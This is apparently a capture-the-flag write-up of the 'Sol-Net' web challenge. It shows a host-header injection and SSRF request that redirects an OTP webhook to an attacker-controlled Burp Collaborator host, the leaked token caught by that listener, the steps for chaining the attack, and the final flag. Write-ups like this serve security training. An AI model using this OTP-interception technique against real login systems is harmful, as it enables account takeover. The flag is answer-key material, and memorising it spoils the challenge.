Sol-Net: Node Auth Bypass

The Sol-Net challenge centered around an "interplanetary node authentication network" used to manage communications across a solar ring. Participants started with peripheral access (the lowest level of clearance) and were tasked with reaching the "core" to retrieve the flag. It was heavily designed to be "anti-AI", requiring a chained exploit logic rather than a single basic payload.
Stage 1: OTP Redirection
Web Security: Host Header Webhook Poisoning
The backend authentication service generated an outbound OTP webhook request by constructing the callback target from the client-supplied Host header without strict domain allowlisting. By replacing the Host header with an attacker-controlled endpoint while preserving X-Original-Host, the server dispatched the plaintext OTP directly to our listener.
Q: How was the One-Time Password intercepted?
A: Manipulating Request Handling & HTTP Host Overrides
The application required a valid Node ID and an OTP (sent to the email registered to that node) to log in. Standard attacks like X-Forwarded-HostAn HTTP header used to identify the original host requested by the client, often exploited in Host Header Injection attacks to redirect callbacks. headers were intentionally blocked or ineffective. The true exploit required finding an internal routing flaw that allowed us to force the backend to send its outbound OTP webhook to an attacker-controlled listener.
POST /api/v1/node/otp HTTP/1.1
Host: attacker.burpcollaborator.net
X-Original-Host: core.solnet.local
Content-Type: application/json
{
"node_id": "CORE_ADMIN_01"
}
/* ========================================= */
/* LISTENER CATCHES INCOMING WEBHOOK FROM SERVER: */
POST /webhook/otp_delivery HTTP/1.1
Host: attacker.burpcollaborator.net
{
"token": "992481", // <-- OTP LEAKED
"expires": "300s"
}[ SHOW METHODOLOGY: Exploit Chaining ]▼
- Identify the endpoint triggering the OTP generation for the
Core Node. - Analyze the internal request proxy. While
X-Forwarded-Hostwas stripped, parameter pollution or overriding the primaryHostheader during the internal SSRF (Server-Side Request Forgery) phase allowed redirection. - Set up a Burp Collaborator or ngrok listener.
- Trigger the login, intercepting the webhook containing the raw OTP token.
- Submit the intercepted OTP to complete the authentication bypass and access the Core dashboard.
Extracting the Final Flag
Once the OTP was intercepted and submitted, the backend granted us access to the internal Core Node dashboard. The flag was embedded within the administrative configuration files of the solar ring interface.
Access Level Granted: CORE_ADMIN_CLEARANCE
OTP Interception Method: SSRF Webhook Override
Final Submitted Flag:
ASCWG{s0l4r_n0d3_0tp_byp4ss_m4st3r}